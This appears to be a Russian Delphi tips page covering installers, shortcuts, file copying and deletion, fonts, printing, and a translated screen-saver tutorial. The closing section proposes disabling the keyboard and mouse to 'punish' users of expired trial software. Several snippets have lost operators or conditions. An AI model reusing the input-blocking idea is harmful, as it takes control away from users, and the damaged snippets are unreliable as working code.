Статьи
Советы по DelphiСоветы по работе с системой
Советы для написания программ-инсталляторовРегистрация программ в меню "Пуск" Windows 95
Подобная проблема возникает при создании инсталляторов и деинсталляторов. Наиболее простой и гибкий путь — использование DDE. При этом посылаются запросы к PROGMAN. Для этого необходимо поместить на форму компонент для посылки DDE запросов — объект типа TDdeClientConv. Для определенности назовем его DDEClient. Затем добавим метод для запросов к PROGMAN:
Function TForm2.ProgmanCommand(Command:string):boolean;
var macrocmd:array[0..88] of char;
begin
DDEClient.SetLink('PROGMAN','PROGMAN');
DDEClient.OpenLink; { Устанавливаем связь по DDE }
strPCopy(macrocmd,'['+Command+']'); { Подготавливаем ASCIIZ строку }
ProgmanCommand :=DDEClient.ExecuteMacro(MacroCmd,false);
DDEClient.CloseLink; { Закрываем связь по DDE }
end;
При вызове ProgmanCommand возвращает true, если посылка макроса была успешна. Система команд (основных) приведена ниже:
Create(Имя группы, путь к GRP файлу)
Создать группу с именем "Имя группы", причем в нем могут быть пробелы и знаки препинания. Путь к GRP файлу можно не указывать, тогда он создастся в каталоге Windows.
Delete(Имя группы)
Удалить группу с именем "Имя группы"
ShowGroup(Имя группы, состояние)
Показать группу в окне, причем состояние — число, определяющее параметры окна:
1 — нормальное состояние + активация
2 — миним.+ активация
3 — макс. + активация
4 — нормальное состояние
5 — Активация
AddItem(командная строка, имя раздела, путь к иконке, индекс иконки (с 0), Xpos,Ypos, рабочий каталог, HotKey, Mimimize)
Добавить раздел к активной группе. В командной строке, имени размера и путях допустимы пробелы, Xpos и Ypos — координаты иконки в окне, лучше их не задавать, тогда PROGMAN использует значения по умолчанию для свободного места. HotKey - виртуальный код горячей клавиши. Mimimize — тип запуска, 0 — в обычном окне, <>0 — в минимизированном.
DeleteItem(имя раздела)
Удалить раздел с указанным именем в активной группе
Пример использования:
ProgmanCommand('CreateGroup(Комплекс программ для каталогизации литературы,)');
ProgmanCommand('AddItem('+path+'vbase.hlp,Справка по VBase,'+ path +' vbase.hlp, 0, , , '+ path + ',,)');
где path — строка типа String, содержащая полный путь к каталогу ('C:\Catalog\');
Как программно создать ярлык?
uses ShlObj, ComObj, ActiveX;
procedure CreateLink(const PathObj, PathLink, Desc, Param: string);
var
IObject: IUnknown;
SLink: IShellLink;
PFile: IPersistFile;
begin
IObject := CreateComObject(CLSID_ShellLink);
SLink := IObject as IShellLink;
PFile := IObject as IPersistFile;
with SLink do begin
SetArguments(PChar(Param));
SetDescription(PChar(Desc));
SetPath(PChar(PathObj));
end;
PFile.Save(PWChar(WideString(PathLink)), FALSE);
end;
Затенить кнопку «Закрыть» в заголовке формы
Следующий текст убирает команду «закрыть» из системного меню и одновременно делает серой кнопку «закрыть» в заголовке формы:
procedure TForm1.FormCreate(Sender: TObject);
var hMenuHandle:HMENU;
begin
hMenuHandle := GetSystemMenu(Handle, FALSE);
IF (hMenuHandle <> 0) THEN DeleteMenu(hMenuHandle, SC_CLOSE, MF_BYCOMMAND);
end;
Копирование файловКопирование методом TurboPascal
Type
TCallBack=procedure(Position,Size:Longint); {Для индикации процесса копирования}
procedure FastFileCopy(Const InfileName, OutFileName: String; CallBack: TCallBack);
Const BufSize = 3*4*4096; { 48Kbytes дает прекрасный результат }
Type
PBuffer = ^TBuffer;
TBuffer = array [1..BufSize] of Byte;
var
Size : integer;
Buffer : PBuffer;
infile, outfile : File;
SizeDone,SizeFile: Longint;
begin
if (InFileName <> OutFileName) then begin
buffer := Nil;
AssignFile(infile, InFileName);
System.Reset(infile, 1);
try
SizeFile := FileSize(infile);
AssignFile(outfile, OutFileName);
System.Rewrite(outfile, 1);
try
SizeDone := 0; New(Buffer);
repeat
BlockRead(infile, Buffer^, BufSize, Size);
Inc(SizeDone, Size);
CallBack(SizeDone, SizeFile);
BlockWrite(outfile,Buffer^, Size)
until Size
FileSetDate(TFileRec(outfile).Handle,
FileGetDate(TFileRec(infile).Handle));
finally
if Buffer <> Nil then Dispose(Buffer);
System.close(outfile)
end;
finally
System.close(infile);
end;
end else Raise EInOutError.Create('File cannot be copied into itself');
end;
Копирование методом потокаProcedure FileCopy(Const SourceFileName, TargetFileName: String);
Var
S,T : TFileStream;
Begin
S := TFileStream.Create(sourcefilename, fmOpenRead );
try
T := TFileStream.Create(targetfilename, fmOpenWrite or fmCreate);
try
T.CopyFrom(S, S.Size ) ;
FileSetDate(T.Handle, FileGetDate(S.Handle));
finally
T.Free;
end;
finally
S.Free;
end;
end;
Копирование методом LZExpanduses LZExpand;
procedure CopyFile(FromFileName, ToFileName : string);
var
FromFile, ToFile: File;
begin
AssignFile(FromFile, FromFileName);
AssignFile(ToFile, ToFileName);
Reset(FromFile);
try
Rewrite(ToFile);
try
if LZCopy(TFileRec(FromFile).Handle, TFileRec(ToFile).Handle)<0 then raise exception.create('error using lzcopy')< code>
finally
CloseFile(ToFile);
end;
finally
CloseFile(FromFile);
end;
end;
Копирование методами Windowsuses ShellApi; // !!! важно
function WindowsCopyFile(FromFile, ToDir : string) : boolean;
var F : TShFileOpStruct;
begin
F.Wnd := 0; F.wFunc := FO_COPY;
FromFile:=FromFile+#0; F.pFrom:=pchar(FromFile);
ToDir:=ToDir+#0; F.pTo:=pchar(ToDir);
F.fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION;
result:=ShFileOperation(F) = 0;
end;
// пример копирования
procedure TForm1.Button1Click(Sender: TObject);
begin
if not WindowsCopyFile('C:\UTIL\ARJ.EXE', GetCurrentDir) then ShowMessage('Copy Failed');
end;
Как скопировать все файлы вместе с подкаталогами
uses ShellApi;
procedure TForm1.Button1Click(Sender: TObject);
var
OpStruc: TSHFileOpStruct;
frombuf, tobuf: Array [0..128] of Char;
Begin
FillChar( frombuf, Sizeof(frombuf), 0 );
FillChar( tobuf, Sizeof(tobuf), 0 );
StrPCopy( frombuf, 'h:\hook\*.*' );
StrPCopy( tobuf, 'd:\temp\brief' );
With OpStruc DO Begin
Wnd:= Handle;
wFunc:= FO_COPY;
pFrom:= @frombuf;
pTo:=@tobuf;
fFlags:= FOF_NOCONFIRMATION or FOF_RENAMEONCOLLISION;
fAnyOperationsAborted:= False;
hNameMappings:= Nil;
lpszProgressTitle:= Nil;
end;
ShFileOperation( OpStruc );
end;
Удаление каталога со всем содержимым
{ Удалить каталог со всем содержимым }
function DeleteDir(Dir : string) : boolean;
Var
Found : integer;
SearchRec : TSearchRec;
begin
result:=false;
if IOResult<>0 then ;
ChDir(Dir);
if IOResult<>0 then begin
ShowMessage('Не могу войти в каталог: '+Dir); exit;
end;
Found := FindFirst('*.*', faAnyFile, SearchRec);
while Found = 0 do begin
if (SearchRec.Name<>'.')and(SearchRec.Name<>'..') then
if (SearchRec.Attr and faDirectory)<>0 then begin
if not DeleteDir(SearchRec.Name) then exit;
end else
if not DeleteFile(SearchRec.Name) then begin
ShowMessage('Не могу удалить файл: '+SearchRec.Name); exit;
end;
Found := FindNext(SearchRec);
end;
FindClose(SearchRec);
ChDir('..'); RmDir(Dir);
result:=IOResult=0;
end;
Определение системной информации
Часто при создании систем привязки программ к компьютеру или окон типа System Info или About Box необходимо определить данные о пользователе и о системе. Это можно сделать следующим образом (из примеров по Delphi — программа COA):
Procedure GetInfo;
Var
WinVer, WinFlags : LongInt; { Версия Windows и флаги }
hInstUser, Fmt : Word; { Дескриптор }
Buffer : ARRAY[0..30] OF Char; { Буфер под ASCIIZ строку }
begin
hInstUser := LoadLibrary('USER'); { Открыли библиотеку User }
LoadString(hInstUser, 514, Buffer, 30);
LabelUserName.Caption := StrPas(Buffer); { Имя пользователя }
LoadString(hInstUser, 515, Buffer, 30);
FreeLibrary(hInstUser);
LabelCompName.Caption := StrPas(Buffer); { Компания }
WinVer := GetVersion;
LabelWinVer.Caption := Format('Windows %u.%.2u', { Версия Windows }
[LoByte(LoWord(WinVer)), HiByte(LoWord(WinVer))]);
LabelDosVer.Caption := Format('DOS %u.%.2u', { Версия DOS }
[HiByte(HiWord(WinVer)), LoByte(HiWord(WinVer))]);
WinFlags := GetWinFlags;
IF WinFlags AND WF_ENHANCED > 0 THEN LabelWinMode.Caption := '386 Enhanced Mode' { Режим }
ELSE IF WinFlags AND WF_PMODE > 0 THEN LabelWinMode.Caption := 'Standard Mode'
ELSE LabelWinMode.Caption := 'Real Mode';
IF WinFlags AND WF_80x87 > 0 THEN { Сопроцессор }
ValueMathCo.Caption := 'Present'
ELSE ValueMathCo.Caption := 'Absent';
Fmt := GetFreeSystemResources(GFSR_SYSTEMRESOURCES);
ValueFSRs.Caption := Format('%d%% Free', [Fmt1]); { Свободно ресурсов }
{ Свободно памяти}
ValueMemory.Caption := FormatFloat(',#######', MemAvail DIV 1024) + ' KB Free';
end;
Как проинсталлировать свои шрифты?
Добавить фонт (.fon, .fot, .fnt, .ttf) в систему можно след. образом:
{$IFDEF WIN32}
AddFontResource( PChar( my_font_PathName { AnsiString } ) );
{$ELSE}
var ss: array [ 0..255 ] of Char;
AddFontResource(StrPCopy(ss, my_font_PathName));
{$ENDIF}
SendMessage(HWND_BROADCAST, WM_FONTCHANGE, 0, 0);
Убрать его по окончании работы:
{$IFDEF WIN32}
RemoveFontResource ( PChar(my_font_PathName) );
{$ELSE}
RemoveFontResource ( StrPCopy ( ss, my_font_PathName ));
{$ENDIF}
SendMessage ( HWND_BROADCAST, WM_FONTCHANGE, 0, 0 );
При этом не надо никаких перезагрузок и прочего, после добавления фонт сразу можно использовать. my_font_PathName : string ( не string[nn] для D2+) — содержит полный путь с именем и расширением необходимого фонта. После удаления фонта форточки о нем забывают. Если его не удалить, он (кажется) так и останется проинсталенным, во всяком случае, я это не проверял.
Вставить какую-нибудь программу внутрь EXE файла
1. Пишем в блокноте RC-файл, куда прописываем все нужные нам программы, например:
ARJ EXEFILE C:\UTIL\ARJ.EXE
2. Компилируем его в ресурс при помощи Brcc32.exe. Получаем RES-файл.
3. Далее в тексте нашей программы:
implementation
{$R *.DFM}
{$R test.res} //Это наш RES-файл
procedure ExtractRes(ResType, ResName, ResNewName : String);
var
Res : TResourceStream;
begin
Res := TResourceStream.Create(Hinstance, Resname, Pchar(ResType));
Res.SavetoFile(ResNewName);
Res.Free;
end;
procedure TForm1.BitBtn1Click(Sender: TObject);
begin
// Записывает в текущую папку arj.exe
ExtractRes('EXEFILE', 'ARJ', 'ARJ.EXE');
end;
Как написать маленький инсталлятор?
Мне понравился следующий вариант: главное приложение само выполняет функции инсталлятора. Первоначально файл называется Setup.exe. При запуске под этим именем приложение устанавливает себя, после установки программа переименовывает себя и перестает быть инсталлятором.
Пример:
Application.Initialize;
if UpperCase(ExtractFileName(Application.ExeName))='SETUP.EXE' then Application.CreateForm(TSetupForm, SetupForm) // форма инсталлятора
else Application.CreateForm(TMainForm, MainForm); // форма основной программы
Application.Run;
Рисую две иконки 32х32 и 16х16, но под NT 32х32 не показывается!
С помощью Image Editor из комплекта Delphi3 создаю ресурс содержащий иконки и добавляю его в свой проект. Как известно, одна иконка в ресурсе может иметь два вида 32×32 и 16×16, которые отображаются соответственно при выборе крупных и мелких значков. Я создаю оба изображения, но после компиляции отображается только 16×16 (при крупных значках оно растягивается). Как мне сделать так, чтобы отображались обе иконки?
1. Такая штука работает только под Win 95-98, а в NT вторая икона не учитывается
2. Для редактирования подобных иконок лучше использовать либо Borlad Resourse Workshop или Visual C++ (для иконок годится но для всего остального, извините!)
Работа с принтером.
Delphi имеет стандартный объект для доступа к принтеру — TPRINTER, находящийся в модуле PRINTERS. В этом модуле имеется переменная Printer:Tpinter, что избавляет от необходимости описывать свою. Он позволяет выводить данные на печать и управлять процессом печати. Правда, в некоторых версиях Delphi 1 он имеет "глюк" — не работают функции Draw и StrethDraw. Но эта проблема поправима - можно использовать функции API. Далее приведены основные поля и методы объекта Printers:
PROPERTY
Aborted:boolean — Показывает, что процесс печати прерван
Canvas:Tcanvas — Стандартный Canvas, как у любого графического объекта. Он позволяет рисовать на листе бумаге графику, выводить текст… Тут есть несколько особенностей, они описаны после описания объекта.
Fonts:Tstrings — Возвращает список шрифтов, поддерживаемых принтером
Handle:HDS — Получить Handle на принтер для использования функций API (см. Далее)
Orientation:TprinterOrientation — Ориентация листа при печати : (poPortrait, poLandscape)
PageHeight:integer — Высота листа в пикселах
PageNumber:integer — Номер страницы, увеличивается на 1 при каждом NewPage
PageWidth:integer — Ширина листа в пикселах
PrinterIndex:integer — Номер используемого принтера по списку доступных принтеров Printers
Printers:Tstrings — Список доступных принтеров
Printing:boolean — Флаг, показывающий, что сейчас идет процесс печати
Title:string — Имя документа или приложения. Под этим именем задание на печать регистрируется в диспетчере печати
METODS
AssignPrn(f:TextFile) — Связать текстовый файл с принтером. Далее вывод информации в этот файл приводит к ее печати. Удобно в простейших случаях.
Abort — Сбросить печать
BeginDoc — Начать печать
NewPage — Начать новую страницу
EndDoc — Завершить печать.
Пример :
Procedure TForm1.Button1Click(Sender: TObject);
Begin
With Printer do Begin
BeginDoc; { Начало печати }
Canvas.Font:=label1.font; { Задали шрифт }
Canvas.TextOut(100,100,'Это тест принтера !!!'); { Печатаем текст }
EndDoc; { Конец печати }
end;
end;
Особенности работы с TPrinter1. После команды BeginDoc шрифт у Canvas принтера сбрасывается и его необходимо задавать заново
2. Все координаты даны в пикселах, а для нормальной работы необходимы миллиметры (по двум очевидным причинам: очень трудно произвести разметку страницы в пикселах (особенно если необходима точность), и, главное, при изменении разрешающей способности принтера будет изменяться число точек на дюйм, и все координаты "поедут".
3. У TPrinter информация о принтере, по видимому, определяются один раз — в момент запуска программы (или смены принтера). Поэтому изменение настроек принтера в процессе работы программы может привести к некорректной работе, например, неправильной печать шрифтов True Type.
Определение параметров принтера через APIДля определения информации о принтере (плоттере, экране) необходимо знать Handle этого принтера, а его можно узнать объекта TPrinter — Printer.Handle. Далее вызывается функция API (unit WinProcs) : GetDevice(Handle:HDC; Index:integer):integer;
Index – код параметра, который необходимо вернуть. Для Index существует ряд констант:
DriverVersion — вернуть версию драйвера
Texnology — Технология вывода, их много, основные
dt_Plotter — плоттер
dt_RasPrinter — растровый принтер
dt_Display — дисплей
HorzSize — Горизонтальный размер листа (в мм)
VertSize — Вертикальный размер листа (в мм)
HorzRes — Горизонтальный размер листа (в пикселах)
VertRes — Вертикальный размер листа (в пикселах)
LogPixelX — Разрешение по оси Х в dpi (пиксел /дюйм)
LogPixelY - Разрешение по оси Y в dpi (пиксел /дюйм)
Кроме перечисленных еще около сотни, они позволяют узнать о принтере практически все.
Параметры, возвращаемые по LogPixelX и LogPixelY очень важны — они позволяют произвести пересчет координат из миллиметров в пиксели для текущего разрешения принтера. Пример таких функций:
Procedure TForm1.GetPrinterInfo; { Получить информацию о принтере }
begin
PixelsX:=GetDeviceCaps(printer.Handle,LogPixelsX);
PixelsY:=GetDeviceCaps(printer.Handle,LogPixelsY);
end;
Function TForm1.PrinterCoordX(x:integer):integer; { переводит координаты из мм в пиксели }
begin
PrinterCoordX:=round(PixelsX/25.4*x);
end;
Function TForm1.PrinterCoordY(Y:integer):integer; { переводит координаты из мм в пиксели }
begin
PrinterCoordY:=round(PixelsY/25.4*Y);
end;
---------------------------------
GetPrinterInfo;
Printer.Canvas.TextOut(PrinterCoordX(30), PrinterCoordY(55),
'Этот текст печатается с отступом 30 мм от левого края и '+
'55 мм от верха при любом разрешении принтера');
Данную методику можно с успехом применять для печати картинок — зная размер картинки можно пересчитать ее размеры в пикселах для текущего разрешения принтера, масштабировать, и затем уже распечатать. Иначе на матричном принтере (180 dpi) картинка будет огромной, а на качественном струйнике (720 dpi) — микроскопической.
Система Хранитель экрана
1. В файл проекта (*.DPR) добавить строку {$D SCRNSAVE <название хранителя>} после строки подключения модулей (Uses...).
2. У окна формы убрать системное меню, кнопки и придать свойству WindowState значение wsMaximize.
3. Предусмотреть выход из хранителя при нажатии на клавиши клавиатуры, мыши и при перемещении курсора мыши.
4. Проверить параметры с которым был вызван хранитель и если это /c — показать окно настройки хранителя, а иначе (можно проверять на /s, а можно и не проверять) сам хранитель. /p — для отображения в окне установок хранителя экрана.
5. Скомпилировать хранитель экрана.
6. Переименовать *.EXE файл в файл *.SCR и скопировать его в каталог WINDOWS\SYSTEM\.
7. Установить новый хранитель в настройках системы!
Название хранителя может состоять из нескольких слов с пробелами, на любом языке.
При работе хранителя необходимо прятать курсор мыши, только не забывайте восстанавливать его после выхода.
Все параметры и настройки храните в файле .INI, так как хранитель и окно настройки не связаны друг с другом напрямую.
Старайтесь сделать свой хранитель как можно меньше и быстрее. Иначе ваши долго работающие (в фоновом режиме) приложения будут работать еше дольше!
{в файле *.DPR}
{$D SCRNSAVE Пример хранителя экрана}
{проверить переданные параметры}
IF (ParamStr(1) = '/c') OR (ParamStr(1) = '/C') THEN
{скрыть курсор мыши}
ShowCursor(False);
{восстановить курсор мыши}
ShowCursor(True);
Более подробно о создании хранителя экрана "по всем правилам"
Screen Saver in Win95
Главное о чем стоит упомянуть это, что ваш хранитель экрана будет работать в фоновом режиме и он не должен мешать работе других запущенных программ. Поэтому сам хранитель должен быть как можно меньшего объема. Для уменьшения объема файла в описанной ниже программе не используется визуальные компоненты Delphi, включение хотя бы одного из них приведет к увеличению размера файла свыше 200кб, а так, описанная ниже программа, имеет размер всего 20кб!!!
Технически, хранитель экрана является нормальным EXE файлом (с расширением .SCR), который управляется через командные параметры строки. Например, если пользователь хочет изменить параметры вашего хранителя, Windows выполняет его с параметром "-c" в командной строке. Поэтому начать создание вашего хранителя экрана следует с создания примерно следующей функции:
Procedure RunScreenSaver;
Var S : String;
Begin
S := ParamStr(1);
If (Length(S) > 1) Then Begin
Delete(S,1,1); { delete first char - usally "/" or "-" }
S[1] := UpCase(S[1]);
End;
LoadSettings; { load settings from registry }
If (S = 'C') Then RunSettings
Else If (S = 'P') Then RunPreview
Else If (S = 'A') Then RunSetPassword
Else RunFullScreen;
End;
Поскольку нам нужно создавать небольшое окно предварительного просмотра и полноэкранное окно, их лучше объединить используя единственный класс окна. Следуя правилам хорошего тона, нам также нужно использовать многочисленные нити. Дело в том, что, во-первых, хранитель не должен переставать работать даже если что-то "тяжелое" случилось, и во-вторых, нам не нужно использовать таймер.
Процедура для запуска хранителя на полном экране — приблизительно такова:
Procedure RunFullScreen;
Var
R : TRect;
Msg : TMsg;
Dummy : Integer;
Foreground : hWnd;
Begin
IsPreview := False; MoveCounter := 3;
Foreground := GetForegroundWindow;
While (ShowCursor(False) > 0) do ;
GetWindowRect(GetDesktopWindow,R);
CreateScreenSaverWindow(R.Right-R.Left,R.Bottom-R.Top,0);
CreateThread(nil,0,@PreviewThreadProc,nil,0,Dummy);
SystemParametersInfo(spi_ScreenSaverRunning,1,@Dummy,0);
While GetMessage(Msg,0,0,0) do Begin
TranslateMessage(Msg);
DispatchMessage(Msg);
End;
SystemParametersInfo(spi_ScreenSaverRunning,0,@Dummy,0);
ShowCursor(True);
SetForegroundWindow(Foreground);
End;
Во-первых, мы проинициализировали некоторые глобальные переменные (описанные далее), затем прячем курсор мыши и создаем окно хранителя экрана. Имейте в виду, что важно уведомлять Windows, что это — хранителя экрана через SystemParametersInfo (это выводит из строя Ctrl-Alt-Del чтобы нельзя было вернуться в Windows не введя пароль). Создание окна хранителя:
Function CreateScreenSaverWindow(Width,Height : Integer; ParentWindow : hWnd) : hWnd;
Var WC : TWndClass;
Begin
With WC do Begin
Style := cs_ParentDC;
lpfnWndProc := @PreviewWndProc;
cbClsExtra := 0; cbWndExtra := 0; hIcon := 0; hCursor := 0;
hbrBackground := 0; lpszMenuName := nil;
lpszClassName := 'MyDelphiScreenSaverClass';
hInstance := System.hInstance;
end;
RegisterClass(WC);
If (ParentWindow 0) Then
Result := CreateWindow('MyDelphiScreenSaverClass','MySaver',
ws_Child Or ws_Visible or ws_Disabled,0,0,
Width,Height,ParentWindow,0,hInstance,nil)
Else Begin
Result := CreateWindow('MyDelphiScreenSaverClass','MySaver',
ws_Visible or ws_Popup,0,0,Width,Height, 0,0,hInstance,nil);
SetWindowPos(Result,hwnd_TopMost,0,0,0,0,swp_NoMove or swp_NoSize or swp_NoRedraw);
End;
PreviewWindow := Result;
End;
Теперь окна созданы используя вызовы API. Я удалил проверку ошибки, но обычно все проходит хорошо, особенно в этом типе приложения.
Теперь Вы можете погадать, как мы получим handle родительского окна предварительного просмотра ? В действительности, это совсем просто: Windows просто передает handle в командной строке, когда это нужно. Таким образом:
Procedure RunPreview;
Var
R : TRect;
PreviewWindow : hWnd;
Msg : TMsg;
Dummy : Integer;
Begin
IsPreview := True;
PreviewWindow := StrToInt(ParamStr(2));
GetWindowRect(PreviewWindow,R);
CreateScreenSaverWindow(R.Right-R.Left,R.Bottom-R.Top,PreviewWindow);
CreateThread(nil,0,@PreviewThreadProc,nil,0,Dummy);
While GetMessage(Msg,0,0,0) do Begin
TranslateMessage(Msg); DispatchMessage(Msg);
End;
End;
Как Вы видите, window handle является вторым параметром (после "-p").
Чтобы "выполнять" хранителя экрана — нам нужна нить. Это создается с вышеуказанным CreateThread. Процедура нити выглядит примерно так:
Function PreviewThreadProc(Data : Integer) : Integer; StdCall;
Var R : TRect;
Begin
Result := 0; Randomize;
GetWindowRect(PreviewWindow,R);
MaxX := R.Right-R.Left; MaxY := R.Bottom-R.Top;
ShowWindow(PreviewWindow,sw_Show); UpdateWindow(PreviewWindow);
Repeat
InvalidateRect(PreviewWindow,nil,False);
Sleep(30);
Until QuitSaver;
PostMessage(PreviewWindow,wm_Destroy,0,0);
End;
Нить просто заставляет обновляться изображения в нашем окне, спит на некоторое время, и обновляет изображения снова. А Windows будет посылать сообщение WM_PAINT на наше окно (не в нить !). Для того, чтобы оперировать этим сообщением, нам нужна процедура:
Function PreviewWndProc(Window : hWnd; Msg,WParam, LParam : Integer): Integer; StdCall;
Begin
Result := 0;
Case Msg of
wm_NCCreate : Result := 1;
wm_Destroy : PostQuitMessage(0);
wm_Paint : DrawSingleBox; { paint something }
wm_KeyDown : QuitSaver := AskPassword;
wm_LButtonDown, wm_MButtonDown, wm_RButtonDown, wm_MouseMove :
Begin
If (Not IsPreview) Then Begin
Dec(MoveCounter);
If (MoveCounter <= 0) Then QuitSaver := AskPassword;
End;
End;
Else Result := DefWindowProc(Window,Msg,WParam,LParam);
End;
End;
Если мышь перемещается, кнопка нажала, мы спрашиваем у пользователя пароль:
Function AskPassword : Boolean;
Var
Key : hKey;
D1,D2 : Integer; { two dummies }
Value : Integer;
Lib : THandle;
F : TVSSPFunc;
Begin
Result := True;
If (RegOpenKeyEx(hKey_Current_User,'Control Panel\Desktop',0,
Key_Read,Key) = Error_Success) Then Begin
D2 := SizeOf(Value);
If (RegQueryValueEx(Key,'ScreenSaveUsePassword',nil,@D1, @Value,@D2) = Error_Success) Then Begin
If (Value 0) Then Begin
Lib := LoadLibrary('PASSWORD.CPL');
If (Lib > 32) Then Begin
@F := GetProcAddress(Lib,'VerifyScreenSavePwd');
ShowCursor(True);
If (@F nil) Then Result := F(PreviewWindow);
ShowCursor(False);
MoveCounter := 3; { reset again if password was wrong }
FreeLibrary(Lib);
End;
End;
End;
RegCloseKey(Key);
End;
End;
Это также демонстрирует использование registry на уровне API. Также имейте в виду как мы динамически загружаем функции пароля, используюя LoadLibrary. Запомните тип функции?
TVSSFunc ОПРЕДЕЛЕН как:
Type
TVSSPFunc = Function(Parent : hWnd) : Bool; StdCall;
Теперь почти все готово, кроме диалога конфигурации. Это запросто:
Procedure RunSettings;
Var Result : Integer;
Begin
Result := DialogBox(hInstance,'SaverSettingsDlg',0,@SettingsDlgProc);
If (Result = idOK) Then SaveSettings;
End;
Трудная часть — это создать диалоговый сценарий (запомните: мы не используем здесь Delphi формы!). Я сделал это, используя 16-битовую Resource Workshop (остался еще от Turbo Pascal для Windows). Я сохранил файл как сценарий (текст), и скомпилированный это с BRCC32:
SaverSettingsDlg DIALOG 70, 130, 166, 75
STYLE WS_POPUP | WS_DLGFRAME | WS_SYSMENU
CAPTION "Settings for Boxes"
FONT 8, "MS Sans Serif"
BEGIN
DEFPUSHBUTTON "OK", 5, 115, 6, 46, 16
PUSHBUTTON "Cancel", 6, 115, 28, 46, 16
CTEXT "Box &Color:", 3, 2, 30, 39, 9
COMBOBOX 4, 4, 40, 104, 50, CBS_DROPDOWNLIST | CBS_HASSTRINGS
CTEXT "Box &Type:", 1, 4, 3, 36, 9
COMBOBOX 2, 5, 12, 103, 50, CBS_DROPDOWNLIST | CBS_HASSTRINGS
LTEXT "Boxes Screen Saver for Win32 Copyright (c) 1996 Jani Järvinen.", 7, 4, 57, 103, 16, WS_CHILD | WS_VISIBLE | WS_GROUP
END
Почти также легко сделать диалоговое меню:
Function SettingsDlgProc(Window : hWnd; Msg,WParam,LParam : Integer): Integer; StdCall;
Var S : String;
Begin
Result := 0;
Case Msg of
wm_InitDialog : Begin
{ initialize the dialog box }
Result := 0;
End;
wm_Command : Begin
If (LoWord(WParam) = 5) Then EndDialog(Window,idOK)
Else If (LoWord(WParam) = 6) Then EndDialog(Window,idCancel);
End;
wm_Close : DestroyWindow(Window);
wm_Destroy : PostQuitMessage(0);
Else Result := 0;
End;
End;
После того, как пользователь выбрал некоторые установочные параметры, нам нужно сохранить их.
Procedure SaveSettings;
Var
Key : hKey;
Dummy : Integer;
Begin
If (RegCreateKeyEx(hKey_Current_User,
'Software\SilverStream\SSBoxes',
0,nil,Reg_Option_Non_Volatile,
Key_All_Access,nil,Key,
@Dummy) = Error_Success) Then Begin
RegSetValueEx(Key,'RoundedRectangles',0,Reg_Binary,
@RoundedRectangles,SizeOf(Boolean));
RegSetValueEx(Key,'SolidColors',0,Reg_Binary, @SolidColors,SizeOf(Boolean));
RegCloseKey(Key);
End;
End;
Загружаем параметры так:
Procedure LoadSettings;
Var
Key : hKey;
D1,D2 : Integer; { two dummies }
Value : Boolean;
Begin
If (RegOpenKeyEx(hKey_Current_User,
'Software\SilverStream\SSBoxes',0,
Key_Read, Key) = Error_Success) Then Begin
D2 := SizeOf(Value);
If (RegQueryValueEx(Key,'RoundedRectangles',nil,@D1, @Value, @D2) = Error_Success) Then Begin
RoundedRectangles := Value;
End;
If (RegQueryValueEx(Key,'SolidColors',nil,@D1, @Value,@D2) = Error_Success) Then Begin
SolidColors := Value;
End;
RegCloseKey(Key);
End;
End;
Легко? Нам также нужно позволить пользователю установить пароль. Я честно не знаю почему это оставлено разработчику приложений? Тем не менее:
Procedure RunSetPassword;
Var
Lib : THandle;
F : TPCPAFunc;
Begin
Lib := LoadLibrary('MPR.DLL');
If (Lib > 32) Then Begin
@F := GetProcAddress(Lib,'PwdChangePasswordA');
If (@F nil) Then F('SCRSAVE',StrToInt(ParamStr(2)),0,0);
FreeLibrary(Lib);
End;
End;
Мы динамически загружаем (недокументированную) библиотеку MPR.DLL, которая имеет функцию, чтобы установить пароль хранителя экрана, так что нам не нужно беспокоиться об этом.
TPCPAFund ОПРЕДЕЛЕН как:
Type
TPCPAFunc = Function(A : PChar; Parent : hWnd; B,C : Integer) : Integer; StdCall;
(Не спрашивайте меня что за параметры B и C) Теперь единственная вещь, которую нам нужно рассмотреть, — самая странная часть: создание графики. Я не великий ГУРУ графики, так что Вы не увидите затеняющие многоугольники, вращающиеся в реальном времени. Я только сделал некоторые ящики.
Procedure DrawSingleBox;
Var
PaintDC : hDC;
Info : TPaintStruct;
OldBrush : hBrush;
X,Y : Integer;
Color : LongInt;
Begin
PaintDC := BeginPaint(PreviewWindow,Info);
X := Random(MaxX); Y := Random(MaxY);
If SolidColors Then
Color := GetNearestColor(PaintDC,RGB(Random(255), Random(255),Random(255)))
Else Color := RGB(Random(255),Random(255),Random(255));
OldBrush := SelectObject(PaintDC,CreateSolidBrush(Color));
If RoundedRectangles Then
RoundRect(PaintDC,X,Y,X+Random(MaxX-X),Y+Random(MaxY-Y),20,20)
Else Rectangle(PaintDC,X,Y,X+Random(MaxX-X),Y+Random(MaxY-Y));
DeleteObject(SelectObject(PaintDC,OldBrush));
EndPaint(PreviewWindow,Info);
End;
Чтобы закончить создание хранителя, я даю Вам некоторые детали. Первые, глобальные переменные:
Var
IsPreview : Boolean;
MoveCounter : Integer;
QuitSaver : Boolean;
PreviewWindow : hWnd;
MaxX,MaxY : Integer;
RoundedRectangles : Boolean;
SolidColors : Boolean;
Затем исходная программа проекта (.dpr). Красива, а!?
program MySaverIsGreat;
uses
windows, messages, Utility; { defines all routines }
{$R SETTINGS.RES}
begin
RunScreenSaver;
end.
Ох, чуть не забыл: Если, Вы используете SysUtils в вашем проекте (StrToInt определен там) Вы получаете большой EXE чем обещанный 20k. Если Вы хотите все же иметь20k, Вы не можете использовать SysUtils так, или Вам нужно написать вашу собственную StrToInt программу.
Конец.
Use Val... ;-)
перевод: Владимиров А.М.
От переводчика. Если все же очень трудно обойтись без использования Delphi-форм, то можно поступить как в случае с вводом пароля: форму изменения параметров хранителя сохранить в виде DLL и динамически ее загружать при необходимости. Т.о. будет маленький и шустрый файл самого хранителя экрана и довеска DLL для конфигурирования и прочего (там объем и скорость уже не критичны).
Включение и выключение устройств ввода/вывода из программы на Delphi Иногда может возникнуть необходимость в выключении на время устройств ввода — клавиатуры и мыши. Например, это неплохо сделать на время выполнения кода системы защиты от копирования, в играх, или в качестве "наказания" при запуске программы по истечению срока ее бесплатного использования… Однако наилучшее ее применение — отключение клавиатуры и мыши на время работы демонстрационки, основанной на воспроизведении записанных заранее перемещений мышки и клавиатурного ввода (см. об этом отдельный раздел этой книги). Это элементарно сделать при помощи API:
EnableHadwareInput(Enable:boolean): boolean;
Enable — требуемое состояние устройств ввода (True — включены, false — выключены). Если ввод заблокирован, то его можно разблокировать вручную — нажать Ctrl+Alt+Del, при появлении меню "Завершение работы программы" ввод разблокируется.
А вот еще интересный прикол.
Включение/выключение монитора программным способом.
